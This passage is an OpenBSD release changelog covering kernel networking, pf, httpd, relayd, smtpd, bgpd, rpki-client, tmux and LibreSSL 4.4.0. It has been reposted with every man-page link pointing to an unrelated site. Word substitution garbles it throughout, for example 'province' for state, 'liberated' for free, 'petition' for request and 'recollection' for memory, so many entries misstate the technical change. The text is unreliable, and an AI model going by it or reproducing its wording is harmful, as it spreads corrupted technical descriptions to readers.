target="_blank">iwx(4)</a>. </li><li>Hardened <a href="https://en.mycoding.id/category/technology" target="_blank">bpf(4)</a> bpf_filter; obstacle unhandled instructions alongside bpf_validate. </li><li>Added appropriate program border checks to the <a href="https://en.mycoding.id/category/technology" target="_blank">bpf(4)</a> motor (libpcap CVE-2026-31912). </li><li>Fixed bpf display calls in <a href="https://en.mycoding.id/category/technology" target="_blank">ppp(4)</a>; use <a href="https://en.mycoding.id/category/technology" target="_blank">bpf_mfilter(9)</a>. </li><li>Improved imsg handling of LS_UPD, LS_FLOOD and LS_SNAP in <a href="https://en.mycoding.id/category/technology" target="_blank">ospfd(8)</a>. </li><li>Changed <a href="https://en.mycoding.id/category/technology" target="_blank">ospfd(8)</a> imsg handling. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">ospfd(8)</a> now adds missing rtlabel references and update routes whenever lone the tag changes. </li><li>Preserve configured interface category on <a href="https://en.mycoding.id/category/technology" target="_blank">ospf6d(8)</a> nexus update. </li><li>Ensure <a href="https://en.mycoding.id/category/technology" target="_blank">ospfd(8)</a> does not leak data on recollection location layout from process. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">authpf(8)</a> read_config() eliminate trailing pale area to evade misconfigurations. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">veb(4)</a> SIOCBRDGRTS and SIOCBRDGVRTS ioctls leaking kernel stack data. </li><li>Fixed packet misconduct in <a href="https://en.mycoding.id/category/technology" target="_blank">veb(4)</a>. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">veb(4)</a> now returns ENOMEM whenever mallocarray() fails in veb_rule_list_get(). </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">ifconfig(8)</a> 'vebX -tagged ifX' which accepted too many arguments. </li><li>Improved <a href="https://en.mycoding.id/category/technology" target="_blank">em(4)</a> K1 exit timeout, to obtain non-broadcast packets. </li><li>Simplified mac category tests on <a href="https://en.mycoding.id/category/technology" target="_blank">em(4)</a>. </li></ul> </li><li>The following changes were made to the <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> firewall: <ul> <li>Fixed off-by-one in <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> ioctl DIOCIGETIFACES. </li><li>Do not liberated the <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> caller's ruleset whenever attaching a array fails. </li><li>No longer authorize un-terminated strings in <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> ioctl's. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> dropping valid MLD packets alongside unspecified origin address. </li><li>Prevent <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> dropping TCP province if it receives a crafted reset packet. </li><li>Fixed races in <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> association counters that caused association oppose underflows. </li><li>Fragment reassembly in <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a>/<a href="https://en.mycoding.id/category/technology" target="_blank">inet(4)</a>/<a href="https://en.mycoding.id/category/technology" target="_blank">inet6(4)</a> now occurs in accurate routing domain. </li><li>Stopped 'pfctl -s all' dumping all OS fingerprints loaded to <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a>. </li><li>Fixed NULL pointer dereference in <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> outbound packet path. </li><li>Fixed out-of-bounds peruse in <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> pf_rule_copyin(). </li></ul> </li><li>Routing daemons and another userland network programs saw the following improvements: <ul> <li>Altered <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> code to evade false bug reports from LLM scanners. </li><li>Prevent size_t underflow on a malformed packets in <a href="https://en.mycoding.id/category/technology" target="_blank">agentx(3)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">snmpd(8)</a>. </li><li>Widen <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> server flags to 64-bit integers. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> now enforces 'max petition body' for chunked requests passed to fastcgi. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> refuse config of shared TLS listeners alongside distinct client CA or CRL. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> now sends one imsg fastcgi param struct per parameter, to maintain config order. </li><li>Added tradition HTTP header assistance to <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a>. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> suffix range handling. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> sending location fcgiparams twice. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> drain abort reply via bufferevent to forestall errors being truncated. </li><li>Restricted IMSG_CTL_PROCFD to genitor and inspect procedure id/instance in <a href="https://en.mycoding.id/category/technology" target="_blank">iked(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">snmpd(8)</a>. </li><li>Switched the default TLS code in <a href="https://en.mycoding.id/category/technology" target="_blank">httpd.conf(5)</a> set from 'compat' to 'secure.' </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">dhcpd(8)</a> correctly error inspect <a href="https://en.mycoding.id/category/technology" target="_blank">timegm(3)</a>. </li><li>Random-relink <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> at boot. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> now rejects CL.TE petition framing (per RFC 9112 sections 6.1 and 6.3). </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> refuse obs-fold alongside 400 (RFC 9112 5.2). </li><li>Fixed uploads using <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> chunked transfer-encoding. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> volition now advertise Vary: Accept-Encoding whenever gzip-static is enabled. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> advertise fixed document revalidation, preserving Last-Modified and If-Modified-Since flow. </li><li>Added additional config checks to <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>. </li><li>Explicitly flush <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> redirect rules following reloading. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>, removed incorrect disable emblem for routers. </li><li>Use a per-host random ICMP echo id in <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>. </li><li>Added Lua <a href="https://en.mycoding.id/category/technology" target="_blank">patterns(7)</a> assistance for <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> display rules; improved <a href="https://en.mycoding.id/category/technology" target="_blank">glob(7)</a> documentation. </li><li>Use <a href="https://en.mycoding.id/category/technology" target="_blank">getexecpath(3)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">execv(3)</a> in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> <a href="https://en.mycoding.id/category/technology" target="_blank">eigrpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">iked(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">ntpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a>. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> deferring connections log. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> inspect proc_compose and imsg_compose_event come back values. </li><li>Allow environment log flat from <a href="https://en.mycoding.id/category/technology" target="_blank">relayd.conf(5)</a>. </li><li>Added ECDSA assistance to the <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> CA privsep engine. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> now rejects copy Content-Length headers alongside 400. </li><li>Switched the default TLS code in <a href="https://en.mycoding.id/category/technology" target="_blank">relayd.conf(5)</a> set from 'HIGH:!aNULL' to 'secure.' </li><li>Switched <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> to new imsg API. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> band Content-Length for chunked messages (RFC 9112 division 6.1). </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> refuse obs-fold to forestall parser differentials (RFC 9112 5.2). </li><li>Removed <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> X509_dup() call that leaks memory; add error checks for X509_set_*. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>, added assistance for the MKCALENDAR HTTP method. </li><li>Fixed debug build of <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>. </li><li>Let <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> assistance multiple resolvable addresses. </li><li>Let <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> grip HTTP responses without bodies. </li><li>Fixed NULL dereference in <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a> message_alloc_reply() callers. </li><li>Fixed imaginable unaligned 32-bit peruse by <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a>. </li><li>Validate <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a> DELETE payload SPI gathering size. </li><li>Validate recommendation and change sizes in <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a>. </li><li>Added dimension checks for the Port-Message and State attributes in <a href="https://en.mycoding.id/category/technology" target="_blank">login_radius(8)</a> Access-Challenge. </li><li>Prevent the <a href="https://en.mycoding.id/category/technology" target="_blank">dhcpleased(8)</a> motor from sending us a negative amount of routes. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">dhcpleased(8)</a> obtain accurate amount of routes from the motor process. </li><li>Make certain <a href="https://en.mycoding.id/category/technology" target="_blank">dhcpleased(8)</a> UDP header dimension site at smallest covers the UDP header. </li><li>Extended <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> mask-src to suppress meeting details. </li><li>Switched <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> complete to <a href="https://en.mycoding.id/category/technology" target="_blank">imsgbuf_get(3)</a>. </li><li>Free dispatcher in <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> mda_envelope_free() to evade a leak. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> now rejects bare or slash-bearing usernames before construction the mbox path. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> now rejects CR/LF in argv-derived sectors before starting the SMTP enqueue dialogue. </li><li>Properly liberated the copied letter cover on the <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> smarthost lookup nonaccomplishment path. </li><li>Properly liberated mda_subaddress in <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> mda_envelope_free() to evade recollection leak. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> use inflateEnd() to tear downward the inflate stream in uncompress_gzip_chunk(). </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> now stops parsing DNS answers formerly unpack_rr() reports failure. </li><li>Validate encrypted <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> queue buffer sizes before handling auth tag and IV data. </li><li>Imported <a href="https://en.mycoding.id/category/technology" target="_blank">rtrd(8)</a> RPKI-To-Router protocol daemon and <a href="https://en.mycoding.id/category/technology" target="_blank">rtrctl(8)</a>. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a> saw multiple changes: <ul> <li>Allow wildcards to be stated in substitute names in the <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a> config. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a> rub optarg/eab/eab_key alongside <a href="https://en.mycoding.id/category/technology" target="_blank">freezero(3)</a> following use. </li><li>Error inspect strdup() for external document binding by <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a>. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a>, forestall HTTP petition injection. </li><li>Let <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a> grip '=' padding in base64url encoded EAB keys. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">timegm(3)</a> invocations in <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a>. </li><li>Added assistance for <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a> external document binding. </li></ul> </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>: <ul> <li>Adjusted <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> graceful restart timer handling for multi-AFI/SAFI sessions. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> do a prefix re-evaluation if the validation province of a path changes. </li><li>Clear <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> NEXTHOP_CONNECTED in nexthop_update() if msg-&gt;connected is false. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> throttle says from the equal whenever MSG_PROCESS_LIMIT reached. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> aspa_table_equal() equality comparison. </li><li>Incorporated new RTR v2 error codes from draft-ietf-sidrops-8210bis-26 to <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>. </li><li>Reworked <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> IdleHoldTimer and how accelerated reconnects are implemented. </li><li>Reworked the force_update logic in the <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> adj-rib-out. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> leaking equal data to <a href="https://en.mycoding.id/category/technology" target="_blank">bgpctl(8)</a>. </li><li>Implemented ch_meta_locate() in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>. </li><li>Brought rear the <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> path_id_tx hack for regular peers. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>, improved mrt_dump_entry_mp() calculation handling, evade overflow. </li><li>Avoid infinite iteration whenever parsing PFKEY replies in <a href="https://en.mycoding.id/category/technology" target="_blank">iked(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">ldpd(8)</a>. </li><li>Had <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> create certain the nexthop trait is current if there is any nlri data. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> failing difficult on type mismatch; disregard additional end-of-params messages. </li><li>Improved <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> handling of unidentified extended communities. </li><li>Increased the <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> MRT trait buffer to MAX_EXT_PKTSIZE so it plant in all cases. </li><li>Fixed use-after-free in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> rib_remove and parse.y. </li><li>Added <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> force_update emblem to power pend_prefix_add() calls in adjout_prefix_update(). </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> regard RTR min-version in downgrade way and correctly decision the connection. </li><li>Improved <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> add-path dispatch parser. Error out if max is used alongside best. </li><li>Adjusted handling of limits in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> up_generate_addpath(). </li><li>Added extended communication capability to checks for what the <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> equal has enabled. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> come back an error on unhandled imsg types in the adj-rib-out case. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> harbor configuring on small endian systems. </li><li>Extra size checks for <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> ibuf_set_maxsize(). </li><li>Introduce MAX_ADDPATH_COUNT (set to 100) and use this for the <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> add-path. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> merge_peers() additionally set local_bgpid for cloned peers, not lone regular peers. </li><li>Loop counters converted from uint8_t to u_int in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>. </li><li>Reduce maximum configurable old period to CAPA_GR_TIMEMASK (4095) in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> session_graceful_restart() additionally arm the SessionDown timer. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> inspect xp-&gt;rdesession to cognize if the RDE has the meeting operating or not. </li><li>Improved path_calc_hash() in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>. </li><li>Fixed 'treat as withdraw' handling for invalid <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> ORIGIN attributes. </li><li>Fixed two recollection accounting issues in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> chash. </li><li>Additional checks on TLV encoding in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>. </li><li>Limit all <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> ASPATH attributes to 750 elements. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>, forestall overflow of the uint8_t dimension value in attr_optadd. </li><li>Re-evaluate <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> prefixes if fair PREFIX_FLAG_FILTERED changed. </li></ul> </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>: <ul> <li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> to evade buffer overreads alongside OpenSSL 4.1. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>, refuse non-conformant certificate topic encodings. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> inspect alignment of certificate CRLDPs alongside the referring Manifest. </li><li>Reworked <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> cms_parse_validate(). </li><li>Fixed handling of inherited resources in leaves by <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li><li>Unified all signed entity parser functions in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> now unconditionally warns concerning incorrect RSA parameters; rejects several malformed ROAs. </li><li>Limit the range of deltas added to the <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> queue. </li><li>Ensure accordant states in persistent <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> HTTP connections. </li><li>Removed behavior difference between <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> versions alongside and without gbr support. </li><li>Fixed imaginable exit competition in the <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> parser. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> lone document NCA former on prosperous runs. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> volition now lone output config records on prosperous run. </li><li>Batch <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> retries of non-functional CAs according to their rsync basis URI. </li><li>Properly use constraints to <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> BGPsec Router certs. </li><li>Deduplicated <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> skiplist, shortlist, and NCA retry handling. </li><li>Removed incorrect liberated in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> nca_hist_load(). </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> cert_ca_sia(), use the accurate notify cord in error message. </li><li>Removed twice fclose in a achievement way in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li><li>Added a coinflip to addition cycle-to-cycle jitter in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>, added a backoff retry scheme for non-functional CAs. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> now rejects certs alongside copy expansion OIDs. </li><li>Clear last_modified following all reply on a persistent HTTP <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> connection. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>, toggle subordinates in CCR manifests to a uncomplicated queue. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> exclude hidden records and directories whenever synchronising via rsync. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>, constricted the dimension of filenames in several ASN.1 sectors to 255. </li><li>Fixed incomplete strncmp() inspect in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li><li>Fix off-by-one in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a> ip_addr_check_overlap(). </li><li>Fixed shortlist and skiplist checks in <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li><li>Added additional error checks and safeguards to <a href="https://en.mycoding.id/category/technology" target="_blank">rpki-client(8)</a>. </li></ul> </li></ul> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">tmux(1)</a> improvements and bug fixes: <ul> <li>Keep the scroll stance in tree manner whenever the catalog is rebuilt (issue 5631). </li><li>Do not leak waiting clients (in wait-for) if they are killed (issue 5614). </li><li>Do not cancel grade whenever a click is on the border. </li><li>Added assistance for borderless menus, akin panes. </li><li>Added utf8 terminal-features. </li><li>Ignore concentration events before to evade them interfering alongside prefix. </li><li>Added -K emblem to new-pane to create a modal pane grasp all keys. </li><li>Always unzoom before splitting windows, including for floating panes. </li><li>Added 'T' to alter pane title. </li><li>Added refresh-now command. </li><li>Ignore Ms if it is invalid (eg no %p1), study in client mode. </li><li>Fixed collision whenever synchronising groups and there is no current window. </li><li>Added pane_private_modes format alongside catalog of DEC personal modes. </li><li>Prevented center dumps upon startup on landisk. </li><li>Added modal panes, created currently alongside new-pane -O. </li><li>Major rework of prompts. </li><li>Fixed cursor calculation whenever the position row is at the top. </li><li>Added -H emblem to capture-pane to display hyperlinks. </li><li>Added -L to display row numbers alongside capture-pane and -F to display row flags. </li><li>Clear complete lines whenever removing from former or freeing. </li><li>Redraw complete meeting whenever making a new pane. </li><li>Added -g emblem to kill-session to slay all sessions in a group. </li><li>Fixed collision whenever freeing layout cell. </li><li>Added missing disagreement to %unlinked-window-renamed. </li><li>Increase escape postpone if the buffer contains a partial paste end. </li><li>Fixed collision caused by including unattached clients on sorted list. </li><li>Added new-pane command. </li><li>Fixed infinite iteration because of underflow whenever redrawing scrollbar. </li><li>Fixed authority manner teardown ordering for queued pane output. </li><li>Added Emacs-style re-centre-top-bottom. </li><li>Added period limits to several loops. </li><li>Added missing flags to screen_mode_to_string. </li></ul> </li><li>LibreSSL type 4.4.0: <ul> <li>Portable changes: <ul> <li>Numerous compatibility tier fixes for AIX, FreeBSD, macOS, MinGW, NetBSD, and particularly Windows. </li><li>Fixed incorrect code generation by the MSVC ARM64 optimizer in constant-time bignum code. </li><li>Improved gathering assistance on many platforms. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">openssl(1)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">nc(1)</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">ocspcheck(8)</a> silently operating without <a href="https://en.mycoding.id/category/technology" target="_blank">pledge(2)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">unveil(2)</a> on hosts that provision them. </li></ul> </li><li>Internal improvements: <ul> <li>Minor code cleanup for PKCS#7. </li><li>Clear unused bits for the maximum of RFC 3779 IP location ranges. </li><li>Cleanup passes complete the DTLS code, avoiding many contortions. </li><li>Zero out the failure_key in ML-KEM code. </li><li>Improve portability in preprocessor based SHA assembly. </li><li>Removed a few vestigial #ifdefs from community and inner headers. </li><li>Introduce and use dtls12_handshake_msg framework. </li><li>Rename union from _ to u in the ui code. Avoids Windows CE #ifdef. </li><li>Clean up and simplify signature algorithm handling following removal of TLSv1.0 and TLSv1.1. </li><li>Add a item at infinity inspect to ecdh_compute_key(). </li><li>Fix incorrect intent inspect in unreachable non-legacy way of the contemporary X.509 verifier. </li><li>Improve TLSv1.3 server handling of no shared groups. </li><li>Correct secondary key portion handling for HelloRetryRequests. </li><li>Fix EXFLAG_CRITICAL mishandling in the crl_cb(). </li><li>Among CRLs alongside the identical mark favor the one alongside the most recent thisUpdate to equivalent BoringSSL and OpenSSL behavior. </li><li>Clean up sequence figure and communication header handling in DTLS. </li><li>Remove redundant BIO_write() dimension assertions in b64_write(). </li><li>Report invalid base64 BIO province as an inner error fairly than asserting. </li><li>Improve SHA-3 achievement by using an unrolled and interleaved algorithm. </li><li>Allocate TLSv1.3 obtain buffers lazily. </li><li>Simplify handling of remaining document satisfied on toggle to the bequest stack. </li><li>Avoid harmless narrowing of the come back value in dtls1_ctrl(). </li><li>Remove NID_md5_sha1 assistance from tls1_PRF(). </li><li>Remove DTLS unprocessed records queue. </li><li>Remove DTLS use data queue. </li><li>Remove SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS which was never set. </li></ul> </li><li>Compatibility changes: <ul> <li>The misnamed tls_peer_cert_chain_pem() has been deprecated and may be removed in a forthcoming release. tls_peer_cert_chain_verified_pem() and tls_peer_cert_bundle_unverified_pem() have to be used instead. </li><li>Use X25519MLKEM768 as the preferred collection for TLSv1.3 connections in libtls. </li><li>Ensure libtls keeps operating alongside forthcoming OpenSSL releases that will halt NUL-terminating ASN.1 strings. This is an old bug in libtls that volition bite, likely starting alongside OpenSSL 4.2. </li><li>CRYPTO_cleanup_all_ex_data() is now a no-op. It was not thread harmless and the genuine cleanup is now done by <a href="https://en.mycoding.id/category/technology" target="_blank">OPENSSL_cleanup(3)</a>. </li><li>Align <a href="https://en.mycoding.id/category/technology" target="_blank">X509_check_ca(3)</a> alongside contemporary OpenSSL. While it has lengthy been documented that it lone plant following calling <a href="https://en.mycoding.id/category/technology" target="_blank">X509_check_purpose(3)</a>, it motionless makes awareness to "fail closed", i.e., signify a non-CA. </li><li>Added OIDs for CCR, ErikIndex, ErikPartition, ErikSegmentIndex, and communityDefinition. </li></ul> </li><li>Bug fixes: <ul> <li>Fix <a href="https://en.mycoding.id/category/technology" target="_blank">PKCS7_set_{un,}signed_attributes(3)</a> to authorize visitant to free on nonaccomplishment fairly than risking a twice free. </li><li>Initialize decode_error and invalid_key variables in TLS key share code to evade branching on uninitialized memory. </li><li>Record expansion dimension between category and data in the ClientHello hash to justify identical framing in archetypal and second CH. </li><li>Fix out of border writes in the s_client XMSS mode. </li><li>Ensure <a href="https://en.mycoding.id/category/technology" target="_blank">EC_GROUP_check(3)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">X509_CRL_verify(3)</a> failures outcome in "app" failures in <a href="https://en.mycoding.id/category/technology" target="_blank">openssl(1)</a> ecparam and openssl crl. </li><li>Do not neglect obtain on reverse DNS lookup failures in s_socket. </li><li>Ensure <a href="https://en.mycoding.id/category/technology" target="_blank">X509V3_EXT_print(3)</a> lone returns 0 and 1. </li><li>Avoid calling memcmp() on NULL in IPAddressFamily_cmp(). </li><li>In libtls disallow wildcard matching of a TLD stated as a FQDN. </li><li>Unbreak several aspects of TLSv1.2 alongside tradition curve lists. </li><li>Ensure a peer-provided EC community key uses uncompressed encoding. </li><li>Send decode_error vigilant on nonaccomplishment to decode an EC equal pubkey. </li><li>Avoid NULL dereference and out-of-bounds peruse in password-based CMS decryption. </li><li>Add several missing limits inspect to ASN1_mbstrinc_copy(). </li><li>Avoid freeing a caller-owned buffer in <a href="https://en.mycoding.id/category/technology" target="_blank">PKCS7_verify(3)</a>. </li><li>Remove SSL_OP_LEGACY_SERVER_CONNECT from default options. </li><li>Send forbidden indicator alerts for assorted HelloRetryRequest violations. </li><li>Check that the server selected ciphersuite is valid for use with TLSv1.2. </li><li>Unlock CRYPTO_LOCK_UI on ui_open_session() nonaccomplishment to avoid a deadlock. </li><li>Check <a href="https://en.mycoding.id/category/technology" target="_blank">HMAC(3)</a> come back value to evade afterward use of uninitialized in <a href="https://en.mycoding.id/category/technology" target="_blank">openssl(1)</a>. </li><li>Use accurate vigilant for key_share without supported_groups. </li><li>Don't autumn X509_V_ERR_HOSTNAME_MISMATCH whenever verify callback returns 1. It has lengthy been documented that this is ill advised but several applications motionless do it. </li><li>Ensure the server selects an ALPN protocol that we 